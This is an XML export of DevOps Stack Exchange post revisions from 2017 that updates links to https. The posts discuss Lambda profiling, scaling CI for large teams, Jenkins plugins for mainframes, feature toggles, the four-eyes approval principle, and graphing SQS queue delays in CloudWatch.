  <row Id="2875" PostHistoryTypeId="5" PostId="259" RevisionGUID="07d1d78d-90f5-4562-a300-54d477c45e10" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="[Dawny33 response][1] is good, but I would start earlier in the development process.&#xD;&#xA;&#xD;&#xA;Keeping an eye on your cloud environment to make sure that your functions behaves as you expect (including your &quot;production&quot; functions, which might operate on a different data set) is crucial, because it might reveal things that are impossible to reproduce locally or with a test data-set.&#xD;&#xA;&#xD;&#xA;Nonetheless, I would say that this performance testing that you do in an optimization purpose should start straight from the developer's machine. Or, at least, from some local environment before pushing to the cloud.&#xD;&#xA;&#xD;&#xA;The reason I say so is that while AWS Lambdas are amazing on many points, the fact that you don't have a full control on the server will limit your instrumentation abilities. I'm not saying instrumentation is impossible when in serverless, but try figuring out how many CPU interrupts you have (and how many are caused by *your* code) just for fun ;)&#xD;&#xA;&#xD;&#xA;So what I advise, and this is actually not limited to serverless, is to start the profiling early. NodeJS profiling can be made with many different tools, NewRelic, dynatrace and AppDynamic are some of the big players. There is also smaller player, some of them are just a NPM package to install (like Nodefly). It is also possible to do some NodeJS without any additional tool, as there is a profiler built into the V8 engine. [This documentation][2] from NodeJS will get you started.&#xD;&#xA;&#xD;&#xA;Whatever tool you choose, you want to install it locally and collect profiling data. That might involve running an agent or including a package in your package.json. Your tool's instructions will tell you how to install it. A good profiler will let you know how much memory and CPU you use. Better tools will give you insight on how many remote calls were made, how long they took.&#xD;&#xA;&#xD;&#xA;Use the profiling data that the tool gives you to identify bottlenecks and address them. There's no limit on how much profiling you can make. Some people (crazy?) will look at the system calls of their most critical function. You might have to do that kind of thing if you want to shave nanoseconds of your function (but then, maybe AWS Lambda isn't the best choice to start with).&#xD;&#xA;&#xD;&#xA;It's also worth noting at this point that I haven't mentioned anything specific to AWS Lambda. That's because your optimizations will most likely not be AWS Lambda specific (after all, in serverless you shouldn't be worried about the server/environment).&#xD;&#xA;&#xD;&#xA;Make sure that not only your code works, but that it works the way you expect it to. Don't over optimize, but keep a critical eye on CPU and memory usage. Should a 2MB array really grow to 10MB when you sort it? Probably not.&#xD;&#xA;&#xD;&#xA;Then you will be able to use tools mentioned by Dawny33, or some other tools, to confirm that your functions perform similarly when deployed to Lambda. You will however already have a very high level of confidence in your function and will only need to validate that they behave properly, not fully profile them.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/a/257&#xD;&#xA;  [2]: https://nodejs.org/en/docs/guides/simple-profiling/" ContentLicense="CC BY-SA 3.0" />
  <row Id="2876" PostHistoryTypeId="5" PostId="267" RevisionGUID="867c547c-2b67-42ce-8fb3-c82b87258f74" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="Using continuous integration represents an (almost) mandatory requirement for a software project to be agile. And without CI there can be no continuous delivery/deployment.&#xD;&#xA;&#xD;&#xA;But CI can face scalability challenges, see https://devops.stackexchange.com/questions/265/how-can-continuous-integration-scale-for-very-large-projects-teams.&#xD;&#xA;&#xD;&#xA;Splitting work on multiple smaller pre-integration branches would allow work on those branches to be agile, but then merging of those pre-integration branches needs to be handled. And those would be massive, unpredictable merges, rather difficult to plan and incorporate into an Agile framework. Until the merge is *actually* performed one can't really tell if it'll take 2 hours, 2 days or 2 entire sprints to complete.&#xD;&#xA;&#xD;&#xA;So how can Agile methodologies still be applied to massive, monolithic software projects with 100s/1000s of developers?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2877" PostHistoryTypeId="5" PostId="292" RevisionGUID="e08624f5-9d59-4459-b3b7-fd2bde7a9d38" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="Assume somebody familiar with DevOps and mainframes, but new to [Jenkins][1], wants to get started with Jenkins, e.g. to:&#xD;&#xA;&#xD;&#xA;- investigate the feasibility of managing data stored in personal files (PDSes) on the mainframe (so not, yet, managed by any of the typical [SCM solutions exist for managing mainframe software][2]).&#xD;&#xA;- to run Jenkins in some type of personal development environment, e.g. in a Linux environment in Virtual Box (if that would make sense).&#xD;&#xA;&#xD;&#xA;After some kind of (minimal) Jenkins [installation][3] and [configuration][4] got completed, the actual question becomes &quot;**`Which of the typical Jenkins plugins, if any, would be needed?`**&quot;. From the various Jenkins plugins that appear to make sense in my case, it seems that these are possible candidates (quotes are from the linked pages):&#xD;&#xA;&#xD;&#xA;- [IBM zOS Connector][5].&#xD;&#xA;&#xD;&#xA;  &gt; ... provides its functions via FTP connection to IBM z/OS LPAR. You can configure your SCLM project on z/OS and then check for the changes via Jenkins.&#xD;&#xA;&#xD;&#xA;  &gt; Features include:&#xD;&#xA;&#xD;&#xA;  &gt; - Submission of user JCL job (with optional log collected upon finish).&#xD;&#xA;  &gt; - Introduction of SCLM as SCM for your projects allowing to checkout SCLM changes.&#xD;&#xA;  &gt; - The ability to build SCLM projects currently can be performed only via 'Submit zOS Job' build action.&#xD;&#xA;&#xD;&#xA;- [Compuware Source Code Download for Endevor, PDS, and ISPW Plugin][6].&#xD;&#xA;&#xD;&#xA;  &gt; ... allows Jenkins users to download Endevor, PDS, or ISPW members from the mainframe to the PC. Source can then be accessed on the PC, for example, for SonarQube analysis and reporting.&#xD;&#xA;&#xD;&#xA;Since the 1st plugin is about SCLM (which is all about PDSes), and the 2nd plugin explicitly states support for PDSes (in its name), I trust both are possible candidates. &#xD;&#xA;&#xD;&#xA;So assuming my shortlist is complete (is it?), what are the pros and cons of either one that should help me decide which one is best for my case?&#xD;&#xA;&#xD;&#xA;Ps: Something like a &quot;Jenkins Kickstart&quot; package doesn't seem to exist (at least I've not found it yet).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://jenkins.io/&#xD;&#xA;  [2]: https://devops.stackexchange.com/questions/273/which-scm-solutions-exist-for-managing-mainframe-software/275#275&#xD;&#xA;  [3]: https://www.tutorialspoint.com/jenkins/jenkins_installation.htm&#xD;&#xA;  [4]: https://www.tutorialspoint.com/jenkins/jenkins_configuration.htm&#xD;&#xA;  [5]: https://wiki.jenkins-ci.org/display/JENKINS/IBM+zOS+Connector&#xD;&#xA;  [6]: https://wiki.jenkins-ci.org/display/JENKINS/Compuware+Source+Code+Download+for+Endevor%2C+PDS%2C+and+ISPW+Plugin" ContentLicense="CC BY-SA 3.0" />
  <row Id="2878" PostHistoryTypeId="5" PostId="297" RevisionGUID="b5e0c79d-f5b8-407e-9aed-513f4d86196a" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="Yes, splitting the bigger team into smaller, agile-size sub-teams is obviously necessary. But it's far from sufficient to also be performant overall, at the bigger team level.&#xD;&#xA;&#xD;&#xA;With a highly scalable CI system in place it is possible even for very large teams to use trunk-based integration, in a single master branch, thus completely avoiding the intermediate integration branches and the unknowns/risks/delays/costs associated with their merges which would otherwise represent serious obstacles impacting the sub-teams. See https://devops.stackexchange.com/questions/265/how-can-continuous-integration-scale-for-very-large-projects-teams/301#301&#xD;&#xA;&#xD;&#xA;With these obstacles out of the way the sub-teams can really make the best out of the agile techniques as they're automatically all on the same page and benefit from **all** advantages of the CI methodology.&#xD;&#xA;&#xD;&#xA;Such approach works equally well:&#xD;&#xA;&#xD;&#xA;- for monolithic codebases/producs which can't/won't be split into micro-services for whatever reason&#xD;&#xA;- for codebases/producs split into micro-services, even if for reasons other than independent deployment capabilities - which don't want to deal with inter-service dependency management and prefer to stick to monolithic deployments (they still share the same development branch)&#xD;&#xA;&#xD;&#xA;Note: the actual SCM repository is irrelevant, it can be any combination of repos managed together as a single one, the term branch denotes just the common logical representation of whatever physical/actual repo branches exist in that combination.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2879" PostHistoryTypeId="5" PostId="299" RevisionGUID="5f60e94b-7dc5-4281-b1be-36654cc687bb" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="Your question doesn't specify which platform (OS) it is about. But if it is about good old mainframes (running zOS, whereas the z stands for &quot;zero downtime ...&quot;), then these would be some possible options to pick from (quotes are from the linked pages):&#xD;&#xA;&#xD;&#xA;- [Compuware Source Code Download for Endevor, PDS, and ISPW Plugin][1].&#xD;&#xA;&#xD;&#xA;  &gt; ... allows Jenkins users to download Endevor, PDS, or ISPW members from the mainframe to the PC. Source can then be accessed on the PC, for example, for SonarQube analysis and reporting.&#xD;&#xA;&#xD;&#xA;- [IBM zOS Connector][2].&#xD;&#xA;&#xD;&#xA;  &gt; ... provides its functions via FTP connection to IBM z/OS LPAR. You can configure your SCLM project on z/OS and then check for the changes via Jenkins.&#xD;&#xA;&#xD;&#xA;  &gt; Features include:&#xD;&#xA;  &gt;&#xD;&#xA;  &gt; - Submission of user JCL job (with optional log collected upon finish).&#xD;&#xA;  &gt; - Introduction of SCLM as SCM for your projects allowing to checkout SCLM changes.&#xD;&#xA;  &gt; - The ability to build SCLM projects currently can be performed only via 'Submit zOS Job' build action.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;PS: if you're not familiar with the typical SCM solutions on this platform (such as Endevor or ISPW), then have a look at the [typical SCM solutions exist for managing mainframe software][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Compuware+Source+Code+Download+for+Endevor%2C+PDS%2C+and+ISPW+Plugin&#xD;&#xA;  [2]: https://wiki.jenkins-ci.org/display/JENKINS/IBM+zOS+Connector&#xD;&#xA;  [3]: https://devops.stackexchange.com/questions/273/which-scm-solutions-exist-for-managing-mainframe-software/275#275" ContentLicense="CC BY-SA 3.0" />
  <row Id="2880" PostHistoryTypeId="5" PostId="301" RevisionGUID="4dc06f93-546b-4f94-80e8-319095104a49" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="Another approach is to switch to a different, non-traditional CI system, capable of **preventing regressions** by identifying and rejecting the offending candidate changes prior to their commit rather than detecting regressions and waiting for recovery while development on the branch is blocked. I like to call such system a [non-blocking CI system][1].&#xD;&#xA;&#xD;&#xA;Simply bumping up the developer-executed pre-commit verification requirements in an attempt to reduce branch regressions is not sufficient for such guarantee. It may actually cause a regression rate *increase*: longer verification times =&gt; higher number of changes simultaneously verified in isolation (thus not accounting for each-other) =&gt; higher risk of functional conflicts and interference. I'm explaining this in a bit more details in the [Extending the pre-commit verification coverage should increase our branch stability][2] myth.&#xD;&#xA;&#xD;&#xA;The CI tool also needs to be capable of operating at scale, of course. And such tools exist, see https://devops.stackexchange.com/questions/268/is-there-a-ci-tool-that-guarantees-no-regressions-in-the-branch-quality-level&#xD;&#xA;&#xD;&#xA;&lt;sup&gt;Disclosure: I'm affiliated to the company mentioned in the above-links.&lt;/sup&gt;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.apartsw.com/insights/2016/11/25/traditional_vs_non_blocking_ci.html&#xD;&#xA;  [2]: https://www.apartsw.com/insights/2016/11/16/pre_commit_verification_myths.html#extensible" ContentLicense="CC BY-SA 3.0" />
  <row Id="2881" PostHistoryTypeId="5" PostId="305" RevisionGUID="983c4aba-4605-4c9c-bd05-85b410391b34" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="Speaking exclusively from a CI prospective, increasing the number of developers working on a project typically translates into more people working in the same branch.&#xD;&#xA;&#xD;&#xA;Traditional CI systems have a scalability issue in this respect: the probability of breakages/regressions/blockages increases slowing down the integration speed and inviting smaller teams to break off and move on to child branches (i.e. further slowdowns). See https://devops.stackexchange.com/questions/265/how-can-continuous-integration-scale-for-very-large-projects-teams. This plays right along the Mythical Man Month concept.&#xD;&#xA;&#xD;&#xA;The solution I suggest in my answer to that question, a *highly scalable* CI system would enable migration towards true CI - single branch/trunk based integration for entire greater teams (even with huge sizes). &#xD;&#xA;&#xD;&#xA;With everyone of the same page, using the same automated tools/processes and the vast majority of the QA verifications automated inside the CI system itself it becomes much easier to switch roles and focus between team members. The whole development proces becomes smoother, more predictable, more relaxed.&#xD;&#xA;&#xD;&#xA;Bringing new people aboard in such an environment, getting them productive simply by offloading less difficult tasks from the more experienced team members which can then take on more difficult ones is thus easier.&#xD;&#xA;&#xD;&#xA;All of these can be seen, I believe, as soothing the Mythical Man Month concept effects.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2882" PostHistoryTypeId="5" PostId="335" RevisionGUID="145042c2-3c49-443a-bd8d-45efa18d0dbc" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="Have a look at the [Monitoring][1] plugin. Here are some more details about it (from the linked page):&#xD;&#xA;&#xD;&#xA;&gt; - Charts of memory, cpu, system load average, http response times by day, week, month, year or custom period&#xD;&#xA;&gt; - Statistics of http requests with mean response times, mean cpu times, mean response size by request and by day, week, month, year or custom period&#xD;&#xA;&gt; - Errors and logs&#xD;&#xA;&gt; - Current http requests&#xD;&#xA;&gt; - Threads&#xD;&#xA;&gt; - Heap histogram (instances and sizes by class)&#xD;&#xA;&gt; - Http sessions&#xD;&#xA;&gt; - Process list of OS&#xD;&#xA;&gt; - MBeans&#xD;&#xA;&gt; - Actions for GC, heap dump and invalidate session(s)&#xD;&#xA;&gt; - Report in html or pdf&#xD;&#xA;&gt; - In English, German, French, Portuguese or Chinese&#xD;&#xA;&gt; - Jenkins security&#xD;&#xA;&gt; - For Jenkins nodes (slaves in general):&#xD;&#xA;&gt;   - The report for the nodes is available at `http://yourhost/monitoring/nodes`&#xD;&#xA;&gt;   - Charts aggregated for all nodes of memory, cpu, system load average, number of running builds, build queue length, build times by period&#xD;&#xA;&gt;   - Detailed statistics of the build times and of the build steps by period&#xD;&#xA;&gt;   - Threads, process list and MBeans for each nodes&#xD;&#xA;&gt;   - Heap histogram aggregated for all nodes&#xD;&#xA;&gt; - For each individual node (each node in `http://yourhost/computer`), reports and actions are available from the &quot;Monitoring&quot; page in the contextual menu or in the detail of the node:&#xD;&#xA;&gt;   - Threads, process list, MBeans of that node only&#xD;&#xA;&gt;   - Heap histogram of that node&#xD;&#xA;&gt;   - Actions for GC, heap dump&#xD;&#xA;&gt; - And more...&#xD;&#xA;&#xD;&#xA;Credits: [Assaf Lavie][2] (who first mentioned it in a comment, but for some reason didn't post that as an actual answer ...).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://wiki.jenkins-ci.org/display/JENKINS/Monitoring&#xD;&#xA;  [2]: https://devops.stackexchange.com/users/2/assaf-lavie" ContentLicense="CC BY-SA 3.0" />
  <row Id="2883" PostHistoryTypeId="5" PostId="337" RevisionGUID="a5f534f9-31c2-4de6-8a92-c50421757b51" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="Michael Grünewald recently posted [this comment][1]:&#xD;&#xA;&#xD;&#xA;&gt; A very important method you do not mention is the “four-eyes principle” which is used in the finance – either as a regulatory obligation or as a safe-guard. In the software industry it is implemented in various ways, as e.g. code reviews but also can be used to validate commands affecting live systems.&#xD;&#xA;&#xD;&#xA;Correct me if I'm wrong, but I was taught that the **`four-eyes principle`** is about something that is &quot;approved to happen&quot;, after at least 2 human beings (and/or automated processes) gave their prior blessing. Or to use the (slightly corrected) wording about the **`two-(wo)man rule`** from [Wikipedia][2]:&#xD;&#xA;&#xD;&#xA;&gt; The two-(mo)man rule is a control mechanism designed to achieve a high level of security for especially critical material or operations. Under this rule all access and actions requires the presence of two authorized people at all times.&#xD;&#xA;&#xD;&#xA;Regulatory obligations are, pretty sure, off topic here, but in the context of &quot;safe-guard&quot;, what are the possible conceptual implementations of this four-eyes principle, which probably could apply to any platform / OS / hardware being used?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/posts/311/timeline#comment_394&#xD;&#xA;  [2]: https://en.wikipedia.org/wiki/Two-man_rule" ContentLicense="CC BY-SA 3.0" />
  <row Id="2884" PostHistoryTypeId="5" PostId="341" RevisionGUID="c241bf86-eb38-48b8-82eb-15cec7fa47cb" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="Assuming that feature flag toggles are a good idea, and should be implemented into code that developers write. For example Etsy swear by them as a [major part of their culture][1].&#xD;&#xA;&#xD;&#xA;**What is a good way to persuade (and enforce) developers to start using feature flag toggles?**&#xD;&#xA;&#xD;&#xA;More information about feature flag toggles is explained in [Q: How to use feature flag toggles][2], [Q: What are feature flag toggles][3] and very extensively in Pete Hodgson's [article on the subject on Martin Fowler's blog][4].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://codeascraft.com/2011/02/04/how-does-etsy-manage-development-and-operations/&#xD;&#xA;  [2]: https://devops.stackexchange.com/questions/162/how-to-use-feature-flag-toggles&#xD;&#xA;  [3]: https://devops.stackexchange.com/questions/344/what-is-a-feature-flag-toggle-and-when-to-use-them-or-not&#xD;&#xA;  [4]: https://martinfowler.com/articles/feature-toggles.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="2885" PostHistoryTypeId="5" PostId="344" RevisionGUID="d525eeec-bb69-449a-bc73-b704aabc1c82" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="There are some questions about **`feature flag toggles`**, such as:&#xD;&#xA;&#xD;&#xA;- https://devops.stackexchange.com/q/341/40&#xD;&#xA;- https://devops.stackexchange.com/q/162/40&#xD;&#xA;&#xD;&#xA;**My questions**:&#xD;&#xA;&#xD;&#xA;- What is actually a &quot;feature flag toggle&quot; (in the context of DevOps)?&#xD;&#xA;- Why are they used?" ContentLicense="CC BY-SA 3.0" />
  <row Id="2886" PostHistoryTypeId="5" PostId="346" RevisionGUID="fe67671c-28b8-4894-bc63-98ff72683302" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="[Ken Mugrage][1] posted an interesting comment below my question, with a link to an illuminating explanation of &quot;[Feature toggles][2]&quot;, with a summary of it like so:&#xD;&#xA;&#xD;&#xA;&gt; Feature toggles are a powerful technique, allowing teams to modify system behavior without changing code. They fall into various usage categories, and it's important to take that categorization into account when implementing and managing toggles. Toggles introduce complexity. We can keep that complexity in check by using smart toggle implementation practices and appropriate tools to manage our toggle configuration, but we should also aim to constrain the number of toggles in our system.&#xD;&#xA;&#xD;&#xA;Not only does the above summary help to understand what this is about, but it also contains some examples that explain *why they are use*. And after digesting it a bit further, it seems that &quot;Feature Toggles&quot; and &quot;Feature Flag Toggles&quot; are pretty much a synonym of each other.&#xD;&#xA;&#xD;&#xA;But, solution (answer) to the problem (question), changes the problem ... one might ask related questions such as:&#xD;&#xA;&#xD;&#xA;- What are the pros/cons about using them? It's a powerful concept, but also a scary one if not used wisely (and secured appropriately) ...&#xD;&#xA;- What could be some examples (good ones and bads ones) where they are used? I can think of quite a few of them, some of them I've used myself quite some time ago (from before DevOps was even a thing).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/users/513/ken-mugrage&#xD;&#xA;  [2]: https://martinfowler.com/articles/feature-toggles.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="2887" PostHistoryTypeId="5" PostId="371" RevisionGUID="9e428cd0-00e3-4209-865e-ec06d64afdac" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="As with any outage communications, a non-technical reader will be primarily looking to understand:&#xD;&#xA;&#xD;&#xA;* How long was it?&#xD;&#xA;* How bad was it?&#xD;&#xA;&#xD;&#xA;Amazon CloudWatch metrics provides the following [metrics for SQS queues][1] that can help answer these questions:&#xD;&#xA;&#xD;&#xA;* **NumberOfMessagesSent:** The number of messages added to a queue.&#xD;&#xA;* **NumberOfMessagesReceived:** The number of messages returned by calls to the ReceiveMessage API action.&#xD;&#xA;* **ApproximateNumberOfMessagesVisible:** The number of messages available for retrieval from the queue.&#xD;&#xA;&#xD;&#xA;When graphed correctly, these metrics can be powerful visual aides in describing queue processing delays. Here are a couple of examples from an outage I experienced where the job's capacity to process queue messages was severely degraded:&#xD;&#xA;&#xD;&#xA;## NumberOfMessagesSent &amp; NumberOfMessagesReceived &#xD;&#xA;&#xD;&#xA;* **Graph Type:** Line Graph&#xD;&#xA;* **Statistic:** Sum&#xD;&#xA;* **Period:** 5-minutes&#xD;&#xA;&#xD;&#xA;[![NumberOfMessagesSent &amp; NumberOfMessagesReceived][2]][2]&#xD;&#xA;&#xD;&#xA;This graphs the contrast between messages sent and received, which helps isolate which processing component is responsible for the delay. In this graph, the received metric drops dramatically while the sent metric continues on its normal trend, so we can infer that the issue lies in the queue reading component instead of the queue writing component.&#xD;&#xA;&#xD;&#xA;**Does this answer how long/how bad event was?** Yes; describes processes impacted over time.&#xD;&#xA;&#xD;&#xA;## NumberOfMessagesReceived &amp; ApproximateNumberOfMessagesVisible&#xD;&#xA;&#xD;&#xA;* **Graph Type:** Stacked Area Graph &#xD;&#xA;* **Statistic:** Sum&#xD;&#xA;* **Period:** 5-minutes&#xD;&#xA;&#xD;&#xA;[![NumberOfMessagesReceived &amp; ApproximateNumberOfMessagesVisible][3]][3]&#xD;&#xA;&#xD;&#xA;This graphs the queue depth on top of messages received, which helps show how far the queue backed up and how it recovered. In this graph, we can see that the queue depth backed up dramatically while the queue reading component was having issues, and began recovering when the queue reading component began reading messages again.&#xD;&#xA;&#xD;&#xA;**Does this answer how long/how bad event was?** Yes; describes messages impacted over time.&#xD;&#xA; &#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;## Graphing Discussion&#xD;&#xA;&#xD;&#xA;In both graphs, queue processing can generally be considered healthy when the lines overlap, and unhealthy when the lines diverge.  This is an easy pattern to teach to a non-technical team member, and can help them to quickly dissemenate where and how there are problems when presented with these graphs.&#xD;&#xA;&#xD;&#xA;To further communicate specific points in graphs, you can simply annotate them:&#xD;&#xA;&#xD;&#xA;[![Both previous graphs with annotations.][4]][4]&#xD;&#xA;&#xD;&#xA;**Graphing Tips:**&#xD;&#xA;&#xD;&#xA;* Label units and axes.&#xD;&#xA;* Use consistent colors for matching metrics across graphs.  Note that NumberOfMessagesReceived is orange in both graphs; this will help visualize the same metric across different graphs.&#xD;&#xA;* Vertically align graphs that describe similar metrics so that they are easier to compare across time.&#xD;&#xA;&#xD;&#xA;&lt;sub&gt;&lt;sub&gt;**Note:** I've formatted these graphs for presentation on StackExchange, so these aren't necessarily how I would present them in an outage post-mortem. I have explicitly removed values from the left axis here to obscure them from StackExchange; you'll want to keep them in your post-mortems.&lt;/sub&gt;&lt;/sub&gt;  &#xD;&#xA;&#xD;&#xA;----&#xD;&#xA;&#xD;&#xA;## Additional tips&#xD;&#xA;&#xD;&#xA;* **Empower Your Team:** After training your team members to read these graphs, there is no reason keep them hidden away. Consider setting up a [CloudWatch Dashboard][5] and giving your non-technical team members [read-only IAM access to CloudWatch][6], so that they can view these graphs any time.&#xD;&#xA;* **Set Up Notifications:** Consider setting up [Cloudwatch Alarms][7] based on the ApproximateNumberOfMessagesVisible metric if it exceeds some agreed-upon high value, and subscribe team members to notify them of potential issues. Cloudwatch Alarms have description fields that are sent along with the notification emails -- make sure to include a human-readable description to help your non-technical members disseminate the alarm.&#xD;&#xA;* **Explore Other Data:** Per [Evgeny's comment][8], explore other data beyond what CloudWatch provides and think about how you can convey that data to your team.  His example of using message lifetime in the queue to create a histogram is a great example of this creative thinking, and can be accomplished by logging both the message send and message receive times in your application.  You can get the message Sent Timestamp via the SentTimeStamp Attribute on each [queue message][9] of the ReceiveMessage API response.  More details [here][10].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/sqs-metricscollected.html&#xD;&#xA;  [2]: https://i.stack.imgur.com/3xFKQ.png&#xD;&#xA;  [3]: https://i.stack.imgur.com/An7Dw.png&#xD;&#xA;  [4]: https://i.stack.imgur.com/kumc6.png&#xD;&#xA;  [5]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/CloudWatch_Dashboards.html&#xD;&#xA;  [6]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/iam-identity-based-access-control-cw.html#read-only-access-example-cw&#xD;&#xA;  [7]: http://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/AlarmThatSendsEmail.html&#xD;&#xA;  [8]: https://devops.stackexchange.com/questions/370/how-can-i-communicate-queue-based-processing-delays-to-non-technical-team-member/371#comment488_371&#xD;&#xA;  [9]: http://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_Message.html&#xD;&#xA;  [10]: http://docs.aws.amazon.com/AWSSimpleQueueService/latest/APIReference/API_ReceiveMessage.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="2888" PostHistoryTypeId="5" PostId="374" RevisionGUID="33ab1368-2ae0-4b5b-bda1-9074adc108ae" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="Question inspired by https://devops.stackexchange.com/questions/341/how-to-persuade-developers-to-start-using-feature-flag-toggles/343#343&#xD;&#xA;&#xD;&#xA;&gt; - Find a feature toggle framework. Management/the business may be more amenable to trying something supported by a common system&#xD;&#xA;&#xD;&#xA;and this comment on it:&#xD;&#xA;&#xD;&#xA;&gt; &#xD;&#xA;&gt;  +1 for the framework bit. I've seen too many people roll their own&#xD;&#xA;&gt; feature toggles and it's always nasty, nasty code. – Jduv 4 hours ago&#xD;&#xA;&#xD;&#xA;So which are those feature toggle frameworks?&#xD;&#xA;&#xD;&#xA;Pointers to the official framework sites are mandatory, but also at least some quotes from the site with a short description and maybe a summary of its features to not make them link-only answers. Comments about the personal experiences in using the frameworks are welcome.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="2889" PostHistoryTypeId="5" PostId="390" RevisionGUID="00eb251b-c539-4800-9f56-bccada700d9e" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="There are some questions about ***[containers][1]***, such as:&#xD;&#xA;&#xD;&#xA;- https://devops.stackexchange.com/q/109/40&#xD;&#xA;- https://devops.stackexchange.com/q/67/40&#xD;&#xA;- https://devops.stackexchange.com/q/258/40&#xD;&#xA;&#xD;&#xA;**My questions**:&#xD;&#xA;&#xD;&#xA;- What is actually a &quot;container&quot; (in the context of DevOps)?&#xD;&#xA;- Why are they used?&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/tagged/containers" ContentLicense="CC BY-SA 3.0" />
  <row Id="2890" PostHistoryTypeId="5" PostId="412" RevisionGUID="52319841-41c7-405e-9840-a4b7eccdf097" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="There are some questions about ***[immutable servers][1]***, such as:&#xD;&#xA;&#xD;&#xA;- https://devops.stackexchange.com/q/207/40&#xD;&#xA;- https://devops.stackexchange.com/q/109/40&#xD;&#xA;&#xD;&#xA;It seems obvious that it has to do with servers (that part I get). And just digesting the grammar of ***immutable***, I would think it has something to do with &quot;not possible to *mute*&quot;. If that guess is close, I'd have no clue what exactly cannot be muted (and I doubt it has to do with soundcards or something ...).&#xD;&#xA;&#xD;&#xA;**My questions**:&#xD;&#xA;&#xD;&#xA;- What is actually a &quot;immutable servers&quot; (in the context of DevOps)?&#xD;&#xA;- Why are they used?&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/tagged/immutable-servers" ContentLicense="CC BY-SA 3.0" />
  <row Id="2891" PostHistoryTypeId="5" PostId="437" RevisionGUID="345e916d-ac63-415d-911c-66b17ed0bb34" CreationDate="2017-04-13T13:01:29.297" UserId="-1" Comment="replaced http://devops.stackexchange.com/ with https://devops.stackexchange.com/" Text="Consider this scenario (any comparison with real world situations is purely by accident):&#xD;&#xA;&#xD;&#xA;- **3:07 am**: incoming support call &quot;*Something in production went down, I need your help!*&quot;.&#xD;&#xA;- **3:12 am**: connected to the system (logon accepted) ... and no time for coffee.&#xD;&#xA;- **3:15 am**: lucky you, right away you could spot the issue via some error message somewhere.&#xD;&#xA;- **3:17 am**: use your SCM toolbox to grab the code, fix the issue, test it, great ... my fix works!&#xD;&#xA;- **3:20 am**: get in touch with the &lt;strike&gt;Dev&lt;/strike&gt;Ops-team to ship the fix and to get production running again.&#xD;&#xA;- **3:21 am**: red flag ... &quot;*To respect [tag:four-eyes], we need 2 more eyes to get approval for this fix*&quot;.&#xD;&#xA;- **3:22 am**: ggggrrrreat, now what, who else can we call (= wake up some manager)?&#xD;&#xA;&#xD;&#xA;If you implemented some approval procedure similar to my answer to &quot;https://devops.stackexchange.com/questions/337/what-are-possible-implementations-or-examples-of-the-four-eyes-principle/338#338&quot;, then you're out of luck ... here are your choices:&#xD;&#xA;&#xD;&#xA;- Your fix will be stuck (read: production will be down) until 2 more eyes got involved.&#xD;&#xA;- You figure out a way to get around the missing eyes.&#xD;&#xA;&#xD;&#xA;***So how to implement the four-eyes principle for emergency fixes?*** ... So that you get production up and running asap, i.e. around  **3:25 am** ... And so that you can also close the call (and go back to where you came from)?" ContentLicense="CC BY-SA 3.0" />
